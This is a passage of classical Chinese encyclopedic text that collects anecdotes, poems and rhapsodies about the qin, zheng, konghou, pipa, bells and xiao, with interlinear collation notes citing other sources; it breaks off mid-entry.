主 人 遂 自 追 问 其 故 . 邕 且 以 告 . 莫 不 怃 然 . 弹 琴 者 曰 . 我 向 见 螳 蜋 方 向 鸣 蝉 . 蝉 将 去 而 未 飞 . 螳 蜋 为 之 一 前 一 却 . 吾 心 耸 然 . 唯 恐 螳 蜋 之 失 蝉 也 . 此 岂 为 杀 心 而 形 于 声 者 乎 . 邕 笑 曰 . 此 足 以 当 之 矣 . 事 具 鸟 部 蝉 篇 .\n列 仙 传 曰 . 稷 丘 公 . 华 山 道 士 . 汉 武 封 禅 . 公 乃 冠 章 甫 . 拥 琴 来 迎 .\n刘 向 别 录 曰 . 雅 琴 之 意 事 . 皆 出 龙 德 诸 琴 杂 事 中 . 赵 氏 者 . 渤 海 人 赵 定 也 . 宣 帝 时 . 元 康 神 爵 闲 . 丞 相 奏 能 鼓 琴 者 渤 海 赵 定 梁 国 龙 德 . 皆 召 . 入 见 温 室 . 使 鼓 琴 待 诏 . 定 为 人 尚 清 静 . 少 言 语 . 善 鼓 琴 . 时 闲 燕 为 散 操 . 多 为 之 涕 泣 者 .\n东 观 汉 记 曰 . 上 尝 问 宋 弘 通 儒 之 士 . 弘 荐 桓 谭 . 谭 善 鼓 琴 . 喜 郑 声 . 上 数 听 悦 之 . 闻 . 坐 府 上 . 遣 吏 召 谭 . 责 问 之 . 谭 叩 头 良 久 乃 遣 . 后 上 令 谭 鼓 琴 . 谭 为 之 失 次 . 上 问 之 . 弘 言 其 故 . 其 后 不 复 令 谭 给 事 中 .\n孙 登 别 传 曰 . 孙 登 . 字 公 和 . 汲 郡 人 . 清 静 无 为 . 好 读 易 弹 琴 . 颓 然 自 得 . 观 其 风 神 . 若 游 六 合 之 外 者 . 当 魏 末 . 居 北 山 中 . 以 石 窟 为 宇 . 编 草 自 覆 . 阮 嗣 宗 见 登 . 被 发 端 坐 岩 下 . 遥 见 鼓 琴 . 嗣 宗 自 下 趍 进 . 莫 得 与 言 . 嗣 宗 乃 长 啸 . 与 琴 音 谐 和 . 登 因 啸 和 之 . 妙 响 动 林 壑 .\n语 林 曰 . 嵇 中 散 夜 灯 火 下 弹 琴 . 有 一 人 . 面 甚 小 . 斯 须 转 大 . 遂 长 丈 余 . 黑 单 衣 草 ○ 太 平 御 览 五 百 七 十 七 . 八 百 七 十 作 革 . 带 . 嵇 视 之 既 熟 . 乃 吹 火 灭 . 曰 . 耻 与 魑 魅 争 光 .\n阮 籍 乐 论 曰 . 汉 桓 帝 闻 楚 琴 扆 而 悲 . 慷 慨 长 息 曰 . 善 哉 . 为 声 如 此 而 足 矣 . 昔 季 流 子 向 风 而 鼓 琴 . 听 之 者 泪 下 .\n蔡 琰 别 传 曰 . 琰 . 字 文 姬 . 蔡 邕 之 女 . 年 六 岁 . 夜 鼓 琴 . 弦 断 . 琰 曰 . 第 二 弦 . 邕 故 断 一 弦 . 而 问 之 . 琰 曰 . 第 四 弦 . 邕 曰 . 偶 得 之 矣 . 琰 曰 . 吴 札 观 化 . 知 兴 亡 之 国 . 师 旷 吹 律 . 识 南 风 之 不 竞 . 由 此 观 之 . 何 足 不 知 .\n马 明 生 别 传 曰 . 明 生 随 神 女 入 石 室 . 金 床 玉 几 . 弹 琴 有 一 弦 . 五 音 并 奏 .\n搜 神 记 曰 . 吴 人 有 烧 桐 以 爨 者 . 蔡 邕 闻 其 爆 声 曰 . 此 良 桐 也 . 因 请 之 . 削 以 为 琴 . 而 烧 不 尽 . 因 名 燋 尾 琴 . 有 殊 声 焉 .\n晋 中 兴 书 曰 . 戴 逵 . 字 安 道 . 少 有 文 艺 . 善 鼓 琴 . 太 宰 武 陵 王 晞 . 闻 其 能 琴 . 使 人 召 焉 . 逵 对 使 者 前 . 打 破 琴 曰 . 戴 安 道 不 能 为 王 侯 伶 人 .\n世 说 曰 . 会 稽 有 防 风 鬼 . 屡 见 城 邑 . 常 跂 雷 门 上 . 脚 乘 至 地 . 晋 横 阳 令 贺 韬 善 鼓 琴 . 防 风 闻 琴 声 . 在 贺 中 庭 舞 .\n沈 约 宋 书 曰 . 萧 思 话 领 左 卫 将 军 . 尝 从 太 祖 登 钟 山 北 岭 . 中 道 有 盘 石 清 泉 . 上 使 于 石 上 弹 琴 . 因 赐 以 银 钟 酒 . 谓 曰 . 相 赏 有 松 石 间 之 高 意 也 .\n【 诗 】 梁 丘 迟 题 琴 朴 奉 柳 吴 兴 诗 曰 . 边 山 此 嘉 树 . 摇 影 出 云 垂 . 清 心 有 素 体 . 直 干 无 曲 枝 . 凡 耳 非 所 别 . 君 子 特 见 知 . 不 辞 去 根 本 . 造 膝 仰 光 仪 .\n陈 沈 炯 为 我 弹 鸣 琴 诗 曰 . 为 我 弹 鸣 琴 . 琴 鸣 伤 我 衿 . 半 死 无 人 觉 . 入 灶 始 知 音 . 空 为 贞 女 引 . 谁 达 楚 妃 心 . 雍 门 何 假 说 . 落 泪 自 淫 淫 .\n陈 贺 澈 为 我 弹 鸣 琴 诗 曰 . 薄 暮 高 堂 上 . 调 琴 召 美 人 . 伯 喈 声 未 尽 . 相 如 曲 复 新 . 点 徽 还 转 弄 . 乱 爪 更 留 宾 . 聊 持 一 弦 响 . 杂 起 艳 歌 尘 .\n隋 江 总 赋 咏 待 琴 诗 曰 . 可 怜 峄 阳 木 . 雕 为 绿 绮 琴 . 田 文 承 睫 泪 . 卓 女 弄 弦 心 . 戏 鹤 来 应 舞 . 游 鱼 听 不 沉 . 楚 妃 幸 勿 叹 . 此 异 丘 中 音 .\n【 赋 】 后 汉 傅 毅 琴 赋 曰 . 历 嵩 岑 而 将 降 . 睹 鸿 梧 于 幽 阻 . 高 百 仞 而 不 枉 . 对 脩 条 以 持 处 . 蹈 通 涯 而 将 图 . 游 兹 梧 之 所 宜 . 盖 雅 琴 之 丽 朴 . 乃 升 伐 其 孙 枝 . 命 离 娄 使 布 绳 . 施 公 输 之 剞 劂 . 遂 雕 琢 而 成 器 . 揆 神 农 之 初 制 . 尽 声 变 之 奥 妙 . 抒 心 志 之 郁 滞 .\n后 汉 马 融 琴 赋 曰 . 惟 梧 桐 之 所 生 . 在 衡 山 之 峻 陂 . 于 是 遨 闲 公 子 . 中 道 失 志 . 孤 茕 特 行 . 怀 闵 抱 思 . 昔 师 旷 三 奏 . 而 神 物 下 降 . 玄 鹤 二 八 . 轩 舞 于 庭 . 何 琴 德 之 深 哉 .\n后 汉 蔡 邕 琴 赋 曰 . 尔 乃 言 求 茂 木 . 周 流 四 垂 . 观 彼 椅 桐 . 层 山 之 陂 . 丹 华 炜 烨 . 绿 叶 参 差 . 甘 露 润 其 末 . 凉 风 扇 其 枝 . 鸾 凤 翔 其 巅 . 玄 鹤 巢 其 岐 . 考 之 诗 人 . 琴 瑟 是 宜 . 尔 乃 清 声 发 兮 五 音 举 . 发 宫 商 兮 动 角 羽 . 曲 引 兴 兮 繁 弦 抚 . 然 后 哀 声 既 发 . 秘 弄 乃 开 . 左 手 抑 扬 . 右 手 徘 徊 . 指 掌 反 覆 . 抑 案 藏 摧 . 于 是 繁 弦 既 抑 . 雅 韵 乃 扬 . 仲 尼 思 归 . 鹿 鸣 三 章 . 梁 甫 悲 吟 . 周 公 越 裳 . 青 雀 西 飞 . 别 鹤 东 翔 . 饮 马 长 城 . 楚 曲 明 光 . 楚 姬 遗 叹 . 鸡 鸣 高 桑 . 走 兽 率 舞 . 飞 鸟 下 翔 . 感 激 兹 歌 . 一 低 一 昂 .\n晋 嵇 康 琴 赋 曰 . 椅 桐 之 所 生 . 托 峻 岳 之 崇 冈 . 含 天 地\n之 醇 和 . 吸 日 月 之 休 光 . 郁 纷 纭 以 独 茂 . 飞 英 蕤 于 旻 苍\n. 其 山 川 形 势 . 则 盘 纡 隐 嶙 . 磪 嵬 岑 岩 . 丹 崖 险 巇 . 青\n壁 万 寻 . 若 乃 春 兰 被 其 东 . 沙 棠 植 其 西 . 涓 子 宅 其 阳 .\n玉 醴 涌 其 前 . 玄 云 荫 其 上 . 翔 鸾 集 其 巅 . 乃 斫 孙 枝 . 准\n量 所 任 . 至 人 摅 思 . 制 为 雅 琴 . 错 以 犀 象 . 藉 以 翠 绿 .\n弦 以 园 客 之 丝 . 徽 以 钟 山 之 玉 . 爰 有 龙 凤 之 象 . 古 人 之\n形 . 伯 牙 挥 手 . 钟 期 听 声 . 华 容 灼 烁 . 发 采 扬 明 . 伶 伦\n比 律 . 田 连 操 张 . 进 御 君 子 . 新 声 嘹 亮 . 及 其 初 调 . 则\n角 羽 俱 起 . 宫 征 相 证 . 参 发 并 趣 . 上 下 累 应 . 若 乃 高 轩\n飞 观 . 广 厦 闲 房 . 冬 夜 肃 清 . 朗 月 垂 光 . 新 衣 翠 粲 . 缨 徽 流 芳 . 于 是 器 洽 弦 调 . 心 闲 手 敏 . 触 捴 如 志 . 唯 意 所 拟 . 初 涉 渌 水 . 中 奏 清 征 . 拊 弦 安 歌 . 新 声 代 起 . 曲 引 向 阑 . 众 音 将 歇 . 改 韵 易 调 . 奇 弄 乃 发 . 或 徘 徊 顾 慕 . 拥 郁 抑 按 . 盘 桓 毓 养 . 从 容 秘 玩 . 牢 落 凌 厉 . 布 濩 半 散 . 英 声 发 越 . 采 采 粲 粲 . 穆 温 柔 以 怡 怿 . 婉 顺 叙 而 委 蛇 . 或 乘 险 投 会 . 邀 隙 趍 危 . 嘤 若 离 鹍 鸣 清 池 . 翼 若 游 鸿 翔 增 崖 . 或 楼 栎 捋 . 漂 缭 潎 洌 . 远 而 听 之 . 若 鸾 凤 和 鸣 戏 云 中 . 迫 而 察 之 . 若 众 葩 敷 荣 曜 春 风 . 若 次 其 曲 引 所 宜 . 则 广 陵 止 息 . 东 武 太 山 . 飞 龙 鹿 鸣 . 鹍 鸡 游 弦 . 更 唱 迭 奏 . 声 若 自 然 . 下 逮 谣 俗 . 蔡 氏 五 曲 . 王 昭 楚 妃 . 千 里 别 鹤 . 论 其 体 势 . 详 其 风 声 . 器 和 故 响 逸 . 张 急 故 声 清 . 间 辽 故 音 埤 . 弦 长 故 徽 鸣 . 性 洁 静 以 端 理 . 含 至 德 之 和 平 . 诚 可 以 感 荡 心 志 . 而 发 泄 幽 情 矣 .\n晋 成 公 绥 琴 赋 曰 . 伯 牙 弹 而 驷 马 仰 秣 . 子 野 挥 而 玄 鹤 鸣 . 清 角 发 而 阳 气 亢 . 白 云 奏 而 风 雨 零 .\n【 赞 】 晋 殷 仲 堪 琴 赞 曰 . 五 声 不 彰 . 孰 表 太 音 . 至 人 善 寄 . 畅 之 雅 琴 . 声 由 动 发 . 趣 以 虚 深 .\n晋 王 珣 琴 赞 曰 . 穆 穆 和 琴 . 至 至 愔 愔 . 如 彼 清 风 . 泠 焉 经 林 .\n宋 谢 惠 连 琴 赞 曰 . 峄 阳 孤 桐 . 裁 为 鸣 琴 . 体 兼 九 丝 . 声 备 五 音 . 重 华 载 挥 . 以 养 民 心 . 孙 登 是 玩 . 取 乐 山 林 .\n【 铭 】 后 汉 李 尤 琴 铭 曰 . 琴 之 在 音 . 荡 涤 邪 心 . 虽 有\n正 性 . 其 感 亦 深 . 存 雅 却 郑 . 浮 侈 是 禁 . 条 畅 和 正 . 乐\n而 不 淫 .\n史 记 曰 . 秦 逐 客 李 斯 上 书 曰 . 夫 击 瓮 ○ 太 平 御 览 五 百 七 十 六 . 瓮 下 有 缶 字 . 叩 瓶 . 弹 琴 ○ 御 览 作 筝 . 搏 髀 . 而 歌 呼 呜 鸣 快 耳 者 . 真 秦 之 声 .\n风 俗 通 曰 . 谨 案 礼 乐 记 . 筝 五 弦 筑 身 也 . 今 并 凉 二 州 筝 . 形 如 瑟 . 不 知 谁 改 也 .\n英 雄 记 曰 . 吕 布 诣 袁 绍 . 绍 患 布 . 欲 杀 之 . 遣 三 十 六 兵 被 铠 迎 布 . 使 着 帐 边 卧 . 布 知 之 . 使 于 帐 中 鼓 筝 . 诸 兵 卧 . 布 出 帐 去 . 兵 不 觉 也 .\n傅 子 曰 . 郝 素 善 弹 筝 . 虽 伯 牙 妙 手 . 吴 姬 奇 声 . 何 以 加 之 .\n又 曰 . 筝 者 . 上 圆 象 天 . 下 平 象 地 . 中 空 准 六 合 . 弦 柱 十 二 . 拟 十 二 月 . 乃 仁 智 之 器 也 .\n语 林 曰 . 桓 野 王 善 解 音 . 晋 孝 武 祖 宴 西 堂 . 乐 阕 酒 阑 . 将 诏 桓 野 王 筝 歌 . 野 王 辞 以 须 笛 . 于 是 诏 其 常 吹 奴 硕 . 赐 姓 曰 张 . 加 四 品 将 军 . 引 使 上 殿 . 张 硕 意 气 激 扬 . 吹 破 三 笛 . 末 取 脚 ○ 按 世 说 轻 诋 篇 . 蔡 伯 喈 睹 睐 笛 条 . 注 引 伏 滔 长 笛 赋 序(亦 见 本 卷 笛 篇)桓 子 野 有 故 长 笛 . 云 蔡 邕 之 所 作 云 云 . 疑 当 作 睹 睐 笛 . 笛 . 然 后 乃 理 调 成 曲 .\n俗 说 曰 . 谢 仁 祖 为 豫 州 主 簿 . 在 桓 温 合 下 . 桓 闻 其 善 弹 筝 . 便 呼 之 . 既 至 . 取 筝 令 弹 . 谢 即 理 弦 抚 筝 . 因 歌 秋 风 . 意 气 殊 遒 . 桓 大 以 此 知 之 .\n【 诗 】 梁 王 台 卿 咏 筝 曰 . 依 歌 时 转 韵 . 按 曲 动 花 钿 . 促 调 移 轻 柱 . 乱 手 度 繁 弦 . 唯 有 高 秋 月 . 秦 声 独 可 怜 .\n梁 孝 元 帝 和 弹 筝 人 诗 曰 . 琼 柱 动 金 丝 . 奏 声 发 赵 曲 . 流 征 含 阳 春 . 美 手 过 如 玉 .\n梁 沈 约 咏 筝 诗 曰 . 秦 筝 吐 绝 调 . 玉 柱 扬 清 曲 . 弦 依 高 张 断 . 声 随 妙 指 续 . 徒 闻 音 绕 梁 . 宁 知 颜 如 玉 .\n【 赋 】 后 汉 侯 瑾 筝 赋 曰 . 于 是 急 弦 促 柱 . 变 调 改 曲 . 卑 杀 纤 妙 . 微 声 繁 缛 . 散 清 商 而 流 转 兮 . 若 将 绝 而 复 续 . 纷 旷 荡 以 繁 奏 . 邈 遗 世 而 越 俗 . 若 乃 察 其 风 采 . 练 其 声 音 . 美 武 荡 乎 . 乐 而 不 淫 . 虽 怀 思 而 不 怨 . 似 豳 风 之 遗 音 . 于 是 雅 曲 既 阕 . 郑 卫 仍 脩 . 新 声 顺 变 . 妙 弄 优 游 . 微 风 漂 裔 . 冷 气 轻 浮 . 感 悲 音 而 增 叹 . 怆 颦 悴 而 怀 愁 . 若 乃 上 感 天 地 . 下 动 鬼 神 . 享 祀 祖 宗 . 酬 酢 嘉 宾 . 移 风 易 俗 . 混 同 人 伦 . 莫 有 尚 于 筝 者 矣 . 魏 阮 瑀 筝 赋 曰 . 惟 夫 筝 之 奇 妙 . 极 五 音 之 幽 微 . 苞 群 声 以 作 主 . 冠 众 乐 而 为 师 . 禀 清 和 于 律 吕 . 笼 丝 木 以 成 资 . 身 长 六 尺 . 应 律 数 也 . 故 能 清 者 感 天 . 浊 者 合 地 . 五 声 并 用 . 动 静 简 易 . 大 兴 小 附 . 重 发 轻 随 . 折 而 复 扶 . 循 覆 逆 开 . 浮 沉 抑 扬 . 升 降 绮 靡 . 殊 声 妙 巧 . 不 识 其 为 . 平 调 足 均 . 不 疾 不 徐 . 迟 速 合 度 . 君 子 之 衢 也 . 慷 慨 磊 落 . 卓 砾 盘 纡 . 壮 士 之 节 也 . 曲 高 和 寡 . 妙 妓 难 工 . 伯 牙 能 琴 . 于 兹 为 朦 . 皦 怿 翕 纯 . 庶 配 其 踪 . 延 年 新 声 . 岂 此 能 同 . 陈 惠 李 文 . 曷 能 是 逢 .\n晋 陶 融 妻 陈 氏 筝 赋 曰 . 伊 夫 筝 之 为 体 . 惟 高 亮 而 殊 特 . 应 六 律 之 修 和 . 与 七 始 乎 消 息 . 括 八 音 之 精 要 . 超 众 器 之 表 式 . 后 夔 创 制 . 子 野 考 成 . 列 柱 成 陈 . 既 和 且 平 . 牙 氏 攘 袂 而 奋 手 . 钟 期 倾 耳 以 静 听 . 奏 清 角 之 要 妙 . 咏 驺 虞 以 鹿 鸣 . 兽 连 轩 而 率 舞 . 凤 踉 跄 而 集 庭 . 泛 滥 浮 沉 . 逸 响 发 挥 . 翕 然 若 绝 . 皎 如 复 回 . 尔 乃 秘 艳 曲 . 卓 砾 殊 异 . 周 旋 去 留 . 千 变 万 态 .\n晋 贾 彬 筝 赋 曰 . 温 颜 既 授 . 和 志 向 悦 . 宾 主 交 欢 . 声 铎 品 列 . 钟 子 授 筝 . 伯 牙 同 节 . 唱 葛 天 之 高 韵 . 赞 幽 兰 与 白 雪 . 其 始 奏 也 . 蹇 澄 疏 雅 . 若 将 畅 而 未 越 . 其 渐 成 也 . 抑 按 铿 锵 . 犹 沉 郁 之 舒 彻 . 何 以 尽 美 . 请 征 其 喻 . 剖 状 同 形 . 两 象 着 也 . 设 弦 十 二 . 太 蔟 数 也 . 列 柱 参 差 . 招 摇 布 也 . 分 位 允 谐 . 六 龙 御 也 .\n晋 顾 恺 之 筝 赋 曰 . 其 器 也 . 则 端 方 修 直 . 天 隆 地 平 . 华 文 素 质 . 烂 蔚 波 成 . 君 子 嘉 其 斌 丽 . 知 音 伟 其 含 清 . 罄 虚 中 以 扬 德 . 正 律 度 而 仪 形 . 良 工 加 妙 . 轻 缛 璘 彬 . 玄 漆 缄 响 . 庆 云 被 身 .\n梁 简 文 帝 筝 赋 曰 . 听 鸣 筝 之 弄 响 . 闻 兹 弦 之 一 弹 . 足\n使 客 游 恋 国 . 壮 士 冲 冠 . 若 夫 楚 王 怡 荡 . 杨 生 娱 志 . 小\n国 寡 民 . 督 邮 无 事 . 乃 有 燕 余 丽 妾 . 方 桃 譬 李 . 本 住 南\n城 . 经 居 东 里 . 度 玲 珑 之 曲 合 . 出 翡 翠 之 香 帷 . 腕 凝 纱\n薄 . 佩 重 行 迟 . 尔 乃 促 筵 命 友 . 衔 觞 置 酒 . 耳 热 眼 花 之\n娱 . 千 金 万 年 之 寿 . 白 日 蹉 跎 . 时 淹 乐 久 . 玩 飞 花 之 度\n窗 . 看 春 风 之 入 柳 . 命 丽 人 于 玉 席 . 陈 宝 器 于 纨 罗 . 抚\n鸣 筝 而 动 曲 . 譬 轻 薄 之 经 过 . 若 夫 钧 竿 复 发 . 蛱 蝶 初 挥\n. 动 玉 匣 之 余 怨 . 鸣 阳 乌 之 始 飞 . 逐 东 趍 于 郑 女 . 和 西\n舞 于 荆 妃 . 使 长 廊 之 瓦 虚 坠 . 梁 上 之 尘 染 衣 .\n桓 谭 新 论 曰 . 鄙 人 谓 狐 为 狸 . 以 瑟 为 箜 篌 . 此 非 徒 不 知 狐 与 瑟 . 乃 不 知 狸 与 箜 篌 也 .\n司 马 相 如 凡 将 篇 曰 . 钟 磬 竽 笙 筑 坎 侯 .\n续 汉 书 曰 . 灵 帝 好 胡 服 . 作 胡 箜 篌 .\n甄 异 传 曰 . 永 和 中 . 吴 郡 陈 绪 家 . 平 旦 . 忽 有 叩 门 自 通 . 云 陈 都 尉 寄 住 . 绪 有 妾 姓 奚 . 能 弹 箜 篌 . 神 意 欢 悦 . 既 令 妾 弦 歌 . 歌 声 焦 细 . 历 三 年 乃 别 去 .\n班 彪 上 事 曰 . 汉 宣 帝 赐 呼 韩 耶 单 于 竽 瑟 箜 篌 .\n琴 操 曰 . 箜 篌 引 者 . 朝 鲜 津 卒 霍 子 高 所 作 也 . 子 高 晨 刺 舡 而 濯 . 有 一 狂 夫 . 被 发 提 壶 而 渡 . 其 妻 追 止 之 . 不 及 . 堕 河 而 死 . 乃 号 天 嘘 唏 . 鼓 箜 篌 而 歌 . 曲 终 投 河 而 死 . 子 高 援 琴 . 作 其 歌 声 . 故 曰 箜 篌 引 .\n搜 神 记 曰 . 晋 永 嘉 中 . 有 神 见 兖 州 . 自 号 樊 道 基 . 有 妪 号 成 夫 人 . 夫 人 好 音 乐 . 能 弹 箜 篌 . 闻 人 歌 弦 . 辄 起 舞 .\n风 俗 通 曰 . 箜 篌 一 名 坎 侯 . 谨 按 . 武 帝 祀 太 山 太 一 后 土 . 令 乐 人 侯 调 . 依 琴 作 坎 侯 . 言 其 坎 坎 应 节 也 . 侯 以 姓 冠 章 也 .\n【 诗 】 梁 简 文 帝 赋 得 箜 篌 诗 曰 . 捩 迟 初 挑 吹 . 弄 急 时 催 舞 . 钏 响 逐 弦 鸣 . 衫 回 半 鄣 柱 . 欲 知 心 不 平 . 君 看 黛 眉 聚 .\n【 赋 】 晋 钮 滔 母 孙 氏 箜 篌 赋 曰 . 考 兹 器 之 所 起 . 实 侯 氏 之 所 营 . 远 不 假 于 琴 瑟 . 顾 无 取 乎 竽 笙 . 尔 乃 陟 九 峻 之 增 岩 . 晞 承 温 之 朝 日 . 剖 峄 阳 之 孤 桐 . 代 楚 宫 之 椅 漆 . 征 班 输 之 造 器 . 命 伶 伦 而 调 律 . 浮 音 穆 以 遐 畅 . 沉 响 幽 而 若 绝 . 乐 操 则 寒 条 反 荣 . 哀 曼 则 晨 华 朝 灭 . 邈 渐 离 之 清 角 . 超 子 野 之 白 雪 . 然 思 超 梁 甫 . 愿 登 华 岳 . 路 险 悲 秦 . 道 难 怨 蜀 . 遗 逸 悼 行 迈 之 离 . 秋 风 哀 年 时 之 速 . 陵 危 柱 以 颉 颃 . 凭 哀 弦 以 踯 躅 . 于 是 数 转 难 测 . 声 变 无 方 . 或 冉 弱 以 飘 沉 . 或 顿 壮 以 抑 扬 . 或 散 角 以 放 羽 . 或 摅 征 以 骋 商 .\n晋 曹 毗 箜 篌 赋 曰 . 峄 阳 之 桐 . 殖 颖 岩 摽 . 清 泉 润 根 . 女 萝 被 条 . 尔 乃 楚 班 制 器 . 穷 妙 极 巧 . 龙 身 凤 形 . 连 翩 窈 窕 . 缨 以 金 采 . 络 以 翠 藻 . 其 弦 则 乌 号 之 丝 . 用 应 所 任 . 体 劲 质 朗 . 虚 置 自 吟 . 于 是 召 倡 人 . 命 妙 姿 . 御 新 肴 . 酌 金 罍 . 发 愁 吟 . 引 吴 妃 . 湖 上 飒 沓 以 平 雅 . 前 溪 藏 摧 而 怀 归 .\n宋 临 川 王 刘 义 庆 箜 篌 赋 曰 . 侯 牵 化 而 始 造 . 鲁 幸 奇 而\n后 珍 . 名 启 端 于 雅 引 . 器 荷 重 于 吴 君 . 等 齐 歌 以 无 譬 .\n似 秦 筝 而 非 群 .\n风 俗 通 曰 . 谨 按 . 琵 琶 近 世 乐 家 所 作 . 不 知 谁 作 也 . 长 三 尺 五 寸 . 法 天 地 人 与 五 行 也 . 又 四 弦 象 四 时 也 .\n三 辅 决 录 曰 . 游 楚 表 乞 宿 卫 . 拜 驸 马 都 尉 . 楚 不 学 问 . 性 好 游 遨 音 乐 及 畜 歌 者 . 琵 琶 筝 笛 . 每 行 来 . 将 以 自 随 .\n傅 子 曰 . 朱 生 善 弹 琵 琶 . 虽 伯 牙 之 妙 . 舞 ○ 太 平 御 览 五 百 八 十 三 无 舞 字 . 无 以 加 之 .\n语 林 曰 . 谢 镇 西 着 紫 罗 襦 . 据 胡 床 . 在 大 市 佛 图 门 楼 上 . 弹 琵 琶 . 作 大 道 曲 .\n竹 林 七 贤 论 曰 . 阮 咸 善 弹 琵 琶 .\n异 苑 曰 . 南 平 国 岳 . ○ 太 平 御 览 五 百 八 十 三 作 兵 . 在 姑 孰 . 有 鬼 附 之 . 每 占 吉 凶 . 辄 先 索 琵 琶 . 随 弹 而 言 事 有 验 . 或 云 是 老 鼠 所 作 . 名 曰 灵 侯 .\n幽 明 录 曰 . 晋 司 空 桓 豁 . 在 荆 州 . 有 参 军 剪 五 月 五 日 鸲 鹆 舌 . 教 令 学 语 . 遂 无 所 不 名 . 与 人 相 阌 顾 . 参 军 善 弹 琵 琶 . 鸲 鹆 每 听 移 时 .\n世 说 曰 . 桓 大 司 马 曰 . 谢 仁 祖 . 企 脚 在 北 牖 下 弹 琵 琶 . 故 自 有 天 际 意 .\n【 诗 】 齐 王 融 咏 琵 琶 诗 曰 . 抱 月 ○ 原 作 目 . 据 冯 校 本 改 . 如 可 明 . 怀 风 殊 复 清 . 丝 中 传 意 绪 . 花 里 寄 春 情 . 掩 抑 有 奇 态 . 凄 锵 多 好 声 . 芳 袖 幸 时 拂 . 龙 门 空 自 生 .\n【 赋 】 晋 孙 谚 ○ 初 学 记 十 六 作 该 . 此 讹 . 琵 琶 赋 曰 . 惟 嘉 桐 之 奇 生 . 于 丹 泽 之 北 垠 . 下 脩 条 而 迥 回 . 上 纠 纷 而 干 云 . 开 钟 黄 以 挺 干 . 表 素 质 于 仓 春 . 然 后 托 乎 公 班 . 妙 意 横 施 . 四 分 六 合 . 广 袤 应 规 . 回 风 临 乐 . 刻 饰 流 离 . 弦 则 岱 谷 丝 . 篚 贡 天 府 . 伯 奇 执 轭 . 杞 妻 抽 绪 . 大 不 过 宫 . 细 不 过 羽 . 清 朗 紧 劲 . 绝 而 不 茹 . 伶 人 鼓 焉 . 景 响 丰 硠 . 操 畅 骆 驿 . 游 乎 风 扬 . 抑 按 捻 ○ 北 堂 书 钞 一 百 一 十 作 擫 . 擫 下 有 摄 字 . 此 脱 . 拰 搦 摧 藏 . 尔 乃 叩 少 宫 . 骋 明 光 . 发 下 柱 . 展 上 按 . 仪 蔡 氏 之 繁 弦 . 放 庄 公 之 倍 簧 . 于 是 酒 酣 日 晚 . 改 为 秦 声 . 壮 谅 抗 忾 . 土 风 所 生 . 延 年 度 曲 . 六 弹 俱 成 . 绌 耶 在 正 . 疏 密 有 程 . 离 而 不 散 . 满 而 不 盈 . 沉 而 不 重 . 浮 而 不 轻 . 绵 驹 遗 呕 . 岱 宗 梁 父 . 淮 南 广 陵 . 郢 都 激 楚 . 每 至 曲 终 歌 阕 . 乱 以 众 契 . 王 ○ 明 本 及 初 学 记 十 六 王 字 无 . 上 下 奔 鹜 . 鹿 奋 猛 厉 . 波 腾 雨 注 . 飘 飞 电 逝 .\n晋 成 公 绥 琵 琶 赋 曰 . 八 音 之 用 . 诵 于 典 艺 . 箫 韶 九 奏\n. 物 有 容 制 . 惟 此 琵 琶 . 兴 自 末 世 . 尔 乃 托 巧 班 尔 . 妙\n意 横 施 . 因 形 造 美 . 洪 杀 得 宜 . 柄 如 翠 虬 之 仰 首 . 盘 似\n灵 龟 之 觜 ● . 临 乐 则 齐 州 之 丹 木 . 柱 则 梁 山 之 象 犀 .\n以 玳 瑁 . 格 以 瑶 枝 . 若 夫 盘 图 合 灵 . 太 极 形 也 . 三 材 片\n合 . 两 仪 生 也 . 分 柱 列 位 . 岁 数 成 也 . 回 窗 华 表 . 日 月\n星 也 .\n毛 诗 曰 . 设 业 设 . 崇 牙 树 羽 .\n礼 记 曰 . 夏 后 氏 之 龙 笋 . 殷 之 崇 牙 . 周 之 壁 翣 .\n鬻 子 曰 . 大 禹 为 铭 于 笋 . 铭 言 曰 . 教 寡 人 以 道 者 击 鼓 . 教 以 义 者 击 钟 . 教 以 事 者 振 铎 . 语 以 忧 者 击 磬 . 语 以 讼 狱 者 挥 鞀 .\n说 苑 曰 . 秦 博 士 对 始 皇 . 阶 下 撞 千 石 之 钟 . 万 石 之 .\n淮 南 子 曰 . 阖 闾 伐 楚 . 破 九 龙 之 钟 .\n东 观 汉 记 曰 . 东 海 王 彊 . 殿 ○ 东 观 汉 记 七 殿 下 有 设 字 . 钟 之 悬 .\n庄 子 曰 . 梓 庆 削 木 为 鐻 . 见 者 惊 犹 鬼 神 . 鲁 侯 问 其 术 . 对 曰 . 臣 将 为 鐻 . 未 尝 敢 以 耗 气 . 斋 七 日 . 忘 吾 四 支 . 然 后 入 山 林 . 观 天 性 区 别 . 见 成 鐻 . 然 后 加 手 . 鐻 似 夹 钟 也 .\n离 骚 曰 . 箫 钟 兮 瑶 .\n【 赋 】 汉 贾 谊 赋 曰 . 牧 太 平 以 深 志 . 象 巨 兽 之 屈 奇 . 妙 雕 文 以 刻 镂 . 舒 循 尾 之 采 垂 . 举 其 锯 牙 . 以 左 右 相 指 . 负 大 钟 而 欲 飞 .\n【 铭 】 后 汉 李 尤 钟 铭 曰 . 周 因 殷 礼 . 损 益 可 知 . 汉\n因 于 周 . 犹 若 重 规 . 人 因 秦 器 . 事 有 可 施 . 鸿 钟 怒 .\n物 得 其 宜 . 声 扬 远 闻 . 文 耀 委 迤 .\n风 俗 通 曰 . 按 舜 作 . 其 形 参 差 . 象 凤 翼 . 十 管 . 长 三 尺 .\n尔 雅 曰 . 大 箫 谓 之 言 . 小 者 谓 之 筊 .\n三 礼 图 曰 . 雅 箫 长 尺 四 寸 . 二 十 四 彄 . 颂 箫 尺 二 寸 . 十 六 彄 .\n尚 书 曰 . 箫 韶 九 成 . 凤 皇 来 仪 .\n又 曰 . 既 备 乃 奏 . 箫 管 备 举 . 喤 喤 厥 声 . 肃 雍 和 鸣 .\n礼 记 曰 . 仲 夏 之 月 . 命 乐 师 . 均 管 箫 .\n庄 子 曰 . 南 郭 子 綦 谓 颜 成 子 游 曰 . 汝 闻 人 籁 而 未 闻 地 籁 . 汝 闻 地 籁 而 未 闻 天 籁 . 郭 象 曰 . 籁 . 箫 也 .\n吕 氏 春 秋 曰 . 客 有 以 吹 籁 见 越 王 者 . 上 下 宫 商 和 . 而 越 王 不 喜 也 . 或 为 之 野 音 . 而 王 反 悦 之 . 亦 有 如 此 者 . 要 在 听 之 而 已 .\n列 仙 传 曰 . 箫 史 者 . 秦 穆 公 时 人 . 善 吹 箫 . 能 致 孔 雀 白 鹤 . 穆 公 女 弄 玉 好 之 . 公 妻 焉 . 一 旦 随 凤 飞 去 . 故 秦 楼 作 凤 女 祠 . 雍 宫 